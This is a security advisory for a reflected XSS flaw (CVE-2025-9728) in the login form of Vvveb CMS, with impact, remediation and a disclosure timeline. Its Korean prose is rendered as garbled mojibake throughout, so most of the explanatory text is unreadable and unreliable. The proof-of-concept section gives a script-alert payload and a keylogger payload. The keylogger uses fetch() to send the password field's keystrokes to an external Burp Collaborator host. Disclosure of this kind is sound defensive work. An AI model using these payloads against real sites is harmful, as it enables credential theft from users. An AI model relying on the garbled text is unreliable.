## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HELLOANDREWPAUL-REFLECTED-XSS-IN-VVVEB-CMS-V1.0.7.2
# λ‘κ·ΈμΈ νΌ(μ΄λ©μΌ λ° λΉλ°λ²νΈ νλ)μ λ°μ¬ν XSS μ·¨μ½μ - Vvveb CMS v1.0.7.2
* **μμ±μ:** Andrew Paul
* **λ°κ²¬μΌ:** 2025λ
8μ 12μΌ
* **곡κΈμ
체:** Vvveb
* **곡κΈμ
체 URL:** http://vvveb.com
* **곡κΈμ
체 GitHub:** https://github.com/givanz/Vvveb
* **μν₯λ°λ λ²μ :** 1.0.7.2 (λ° μ΄μ λ²μ λ κ°λ₯)
* **CVE ID:** CVE-2025-9728
## κ°μ
μ¬μ©μ λ‘κ·ΈμΈ νΌμμ λ°μ¬ν ν¬λ‘μ€ μ¬μ΄νΈ μ€ν¬λ¦½ν
(XSS) μ·¨μ½μ (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))μ΄ μ‘΄μ¬ν©λλ€. `email` λ° `password` λ§€κ°λ³μκ° HTML μλ΅μ λ°μλκΈ° μ μ μ ν(sanitize)λμ§ μμ΅λλ€. μ΄λ‘ μΈν΄ 곡격μλ νΉμ URLμ μ μνμ¬ μ
μ± μ€ν¬λ¦½νΈλ₯Ό μ£Όμ
ν μ μμΌλ©°, ν€λ‘κ±° νμ΄λ‘λλ₯Ό ν΅ν΄ μ격 μ¦λͺ
μ λμ©ν μ μμ΅λλ€. μ΄λ λΉλ°λ²νΈ λ°μ΄ν°λ₯Ό Burp Collaborator μλ²λ‘ μ μΆν¨μΌλ‘μ¨ νμΈλμμ΅λλ€.
## OWASP Top 10 2021 λ§€ν
μ΄ μ·¨μ½μ μ OWASP Top 10 2021μ μ¬λ¬ λ²μ£Όμ λ§€νλ©λλ€:
* **A03:2021 - Injection:** μ ν리μΌμ΄μ
μ μ μ ν μ ν μμ΄ μ λ’°ν μ μλ λ°μ΄ν°λ₯Ό λΈλΌμ°μ λ‘ μ μ‘λλ HTML νμ΄μ§μ ν¬ν¨μν€κΈ° λλ¬Έμ μΈμ μ
μ μ·¨μ½νλ©°, μ΄λ‘ μΈν΄ 곡격μμ μ€ν¬λ¦½νΈκ° μ€νλ μ μμ΅λλ€.
* **A04:2021 - Insecure Design:** λ‘κ·ΈμΈ λ©μ»€λμ¦μ κΈ°λ³Έμ μΈ λ³΄μ μ μ΄(μ¬μ©μ λ°μ μ½ν
μΈ μ λν μλ² μΈ‘ μΆλ ₯ μΈμ½λ©)κ° λΆμ‘±νκΈ° λλ¬Έμ μ€κ³μ μμ νμ§ μμ΅λλ€.
* **A05:2021 - Security Misconfiguration:** μ ν리μΌμ΄μ
μ `<input type="email">`κ³Ό κ°μ μ·¨μ½ν ν΄λΌμ΄μΈνΈ μΈ‘ μ μ΄μ λΆμ μ νκ² μμ‘΄νκ³ μμΌλ©°, μ΄λ 곡격μκ° μ½κ² μ°νν μ μμ΄ μ€μ§μ μΈ λ³΄μμ μ 곡νμ§ λͺ»ν©λλ€.
## μ·¨μ½μ μΈλΆ μ 보
μ΄ μ·¨μ½μ μ κ·Όλ³Έ μμΈμ μλ²κ° μ¬μ©μ μ 곡 λ°μ΄ν°μ λν΄ μΆλ ₯ μΈμ½λ©μ μννμ§ μκΈ° λλ¬Έμ
λλ€. μ¬μ©μκ° λ‘κ·ΈμΈ νΌμ μ μΆνλ©΄, `email` λ° password νλμ μ 곡λ κ°μ΄ κ²°κ³Ό νμ΄μ§ λ‘λ μ ν΄λΉ `<input>` νκ·Έμ `value` μμ±μ λ€μ μ½μ
λ©λλ€. ν°λ°μ΄ν(")λ₯Ό ν¬ν¨νλ νμ΄λ‘λλ₯Ό μ 곡ν¨μΌλ‘μ¨ κ³΅κ²©μλ `value` μμ±μ μ΄μ€μΌμ΄ννκ³ μλ‘μ΄ HTML μμ±(μ: `onkeyup`) λλ μμ ν μλ‘μ΄ νκ·Έ(μ: `<script>`)λ₯Ό μ£Όμ
ν μ μμ΅λλ€. μ΄ λμμ `email` λ° `password` νλ λͺ¨λμμ νμΈλμμ΅λλ€.
## μ μ¬μ 곡격 벑ν°
μ΄ μ·¨μ½μ μ 곡격μκ° νΌν΄μλ₯Ό μμ¬ μ‘°μλ μμ²μ μλ²μ μ μΆνλλ‘ νλ λͺ¨λ 벑ν°λ₯Ό ν΅ν΄ μ
μ©λ μ μμ΅λλ€. κ°μ₯ μΌλ°μ μΈ λ²‘ν°λ νΌμ± 곡격μΌλ‘, 곡격μκ° XSS νμ΄λ‘λλ₯Ό ν¬ν¨ν μ
μ± URLμ μ μνμ¬ νΌν΄μμκ² μ μ‘ν©λλ€. νΌν΄μκ° λ§ν¬λ₯Ό ν΄λ¦νλ©΄ νμ΄λ‘λκ° ν΄λΉ λΈλΌμ°μ μμ μ€νλ©λλ€.
## κ°λ
μ¦λͺ
(PoC)
μ·¨μ½μ μ λ κ°μ§ λ³κ°μ κ°λ
μ¦λͺ
μ ν΅ν΄ μ
μ¦λ©λλ€: μκ°μ μλ¦Όμ νΈλ¦¬κ±°νλ κ°λ¨ν μ€ν¬λ¦½νΈ μ£Όμ
κ³Ό μ¬μ©μ μ격 μ¦λͺ
μ μΊ‘μ²νλ κ³ κΈ κ³΅κ²©μ
λλ€. μ 곡λ μ΄λ―Έμ§λ μ΄λ¬ν PoCμ λν μ§μ μ μΈ μ¦κ±° μν μ ν©λλ€.
### PoC A: κ°λ¨ν μλ¦Ό νμΈ
μ΄ PoCλ λ μ·¨μ½ νλ λͺ¨λμμ κΈ°λ³Έμ μΈ μ€ν¬λ¦½νΈ μ€νμ νμΈν©λλ€.
#### νμ΄λ‘λ
* **Email:** `j4u6e"><script>alert('email')</script>ou1w`
* **Password:** `j4u6e"><script>alert('password')</script>ou1w`
#### μ¬ν λ¨κ³
1. λ‘κ·ΈμΈ νμ΄μ§ `http(s)://example.com/user/login` λ‘ μ΄λν©λλ€.
2. ν΄λΉ μ
λ ₯ νλμ νμ΄λ‘λ μ€ νλλ₯Ό μ
λ ₯ν©λλ€.
3. νΌμ μ μΆν©λλ€.
#### κ²°κ³Ό
νλ©΄μ JavaScript `alert()` μμκ° λνλ μ·¨μ½μ μ νμΈν©λλ€.
 _μ
λ ₯ νλμ νμ΄λ‘λ_
 _μ΄λ©μΌ μλ¦Ό_
 _λΉλ°λ²νΈ μλ¦Ό_
### PoC B: ν€λ‘κ±°λ₯Ό ν΅ν μ격 μ¦λͺ
λμ©
μ΄ PoCλ λΉλ°λ²νΈ ν€ μ
λ ₯μ λμ©ν¨μΌλ‘μ¨ μ€μν μν₯μ μ
μ¦ν©λλ€.
#### νμ΄λ‘λ
`j4u6e" onkeyup="fetch('https://hg1n99wu463z4ujvj808u3f3ruxnlg95.oastify.com?data=' + btoa(this.value))"`
#### μ¬ν λ¨κ³
1. λ‘κ·ΈμΈ νμ΄μ§ `http(s)://example.com/user/login` λ‘ μ΄λν©λλ€.
2. ν€λ‘κ±° νμ΄λ‘λλ₯Ό `password` μ
λ ₯ νλμ μ§μ λΆμ¬λ£μ΅λλ€.
3. μμλ νλμ κ°μ§ λΉλ°λ²νΈλ₯Ό μ
λ ₯ν©λλ€.
#### κ²°κ³Ό
κ° ν€ μ
λ ₯μ΄ μΊ‘μ²λμ΄ κ³΅κ²©μμ Burp Collaborator μλ²λ‘ μ μ‘λ©λλ€. μ΄λ μμμ μ€ν¬λ¦½νΈκ° μ€νλ μ μκ³ λ―Όκ°ν λ°μ΄ν°κ° μ μΆλ μ μμμ νμΈν©λλ€.
 _μμλ μ
λ ₯_
 _Burp Suite Collaboratorλ‘ μ μ‘λ λΉλ°λ²νΈ_
 _νμ΄λ‘λκ° ν¬ν¨λ μ·¨μ½ν μ½λ_
## μν₯
μ΄ μ·¨μ½μ μ μ±κ³΅μ μΌλ‘ μ
μ©νλ©΄ μ¬μ©μμ κ³μ κ³Ό λΈλΌμ°μ μΈμ
μ΄ μμ ν μμλ μ μμ΅λλ€. μ£Όμ μν₯μ λ€μκ³Ό κ°μ΅λλ€:
* **μ격 μ¦λͺ
λμ©:** PoCμμ μ
μ¦λ λ°μ κ°μ΄ 곡격μλ μ€μκ°μΌλ‘ μ¬μ©μ μ΄λ¦κ³Ό λΉλ°λ²νΈλ₯Ό λμ©ν μ μμ΅λλ€.
* **μΈμ
νμ΄μ¬νΉ:** 곡격μλ μ£Όμ
λ μ€ν¬λ¦½νΈλ₯Ό μ¬μ©νμ¬ μ¬μ©μκ° λ‘κ·ΈμΈν ν μΈμ
μΏ ν€λ₯Ό νμ·¨νμ¬ μ¬μ©μλ₯Ό μμ ν μ¬μΉν μ μμ΅λλ€.
* **μΉμ¬μ΄νΈ νΌμ λ° νΌμ±:** 곡격μλ λ‘κ·ΈμΈ νμ΄μ§μ μ½ν
μΈ λ₯Ό λ³κ²½νμ¬ λ λ§μ λ―Όκ° μ 보λ₯Ό νΌμ±νκ±°λ λΈλλ ννμ μμμν¬ μ μμ΅λλ€.
* **μΆκ° 곡격:** μ΄ μ·¨μ½μ μ μ¬μ©μμ λΈλΌμ°μ μ λν μΆκ° 곡격μ μμνκ±°λ μ¬μ©μλ₯Ό μ
μ± μΉμ¬μ΄νΈλ‘ 리λλ μ
νλ λ° μ¬μ©λ μ μμ΅λλ€.
## κΆμ₯ μν μ‘°μΉ
κ°μ₯ μ’μ λ°©λ²μ μ
λ ₯ κ²μ¦κ³Ό μ μ ν μΆλ ₯ μΈμ½λ©μ κ²°ν©ν **μ¬μΈ΅ λ°©μ΄(Defense-in-depth)** μ κ·Ό λ°©μμ μ¬μ©νλ κ²μ
λλ€.
### μ
λ ₯ κ²μ¦ (첫 λ²μ§Έ κ³μΈ΅)
μ’μ 보μ κ΄νμΌλ‘, μλ²λ λͺ
λ°±ν μ
μ± ν¨ν΄μ ν¬ν¨νλ μμ²μ κ±°λΆνκΈ° μν΄ **μ
λ ₯ κ²μ¦** μ μνν΄μΌ ν©λλ€. μ΄λ μ΄κΈ° λ°©μ΄ κ³μΈ΅μ μ 곡νμ§λ§ μ μΌν ν΄κ²°μ±
μΌλ‘ μμ‘΄ν΄μλ μ λ©λλ€.
### μΆλ ₯ μΈμ½λ© (νμ μμ )
κ°μ₯ μ€μνκ³ ν΅μ¬μ μΈ μμ μ λͺ¨λ μ¬μ©μ μ 곡 λ°μ΄ν°κ° HTMLμμ λ λλ§λκΈ° μ§μ μ **μΆλ ₯ μΈμ½λ©** μ μ μ©νλ κ²μ
λλ€. `htmlspecialchars()` ν¨μλ₯Ό μ¬μ©ν μ μμ΅λλ€.
## κ³΅κ° νμλΌμΈ
* **λ°κ²¬μΌ:** 2025λ
8μ 12μΌ
* **곡κΈμ
체 ν΅λ³΄μΌ:** 2025λ
8μ 12μΌ
* **곡κΈμ
체 νμΈμΌ:** 2025λ
8μ 12μΌ
* **ν¨μΉ μΆμμΌ:** 2025λ
8μ 12μΌ
* **κ³΅κ° κ³΅κ°μΌ:** 2025λ
8μ 22μΌ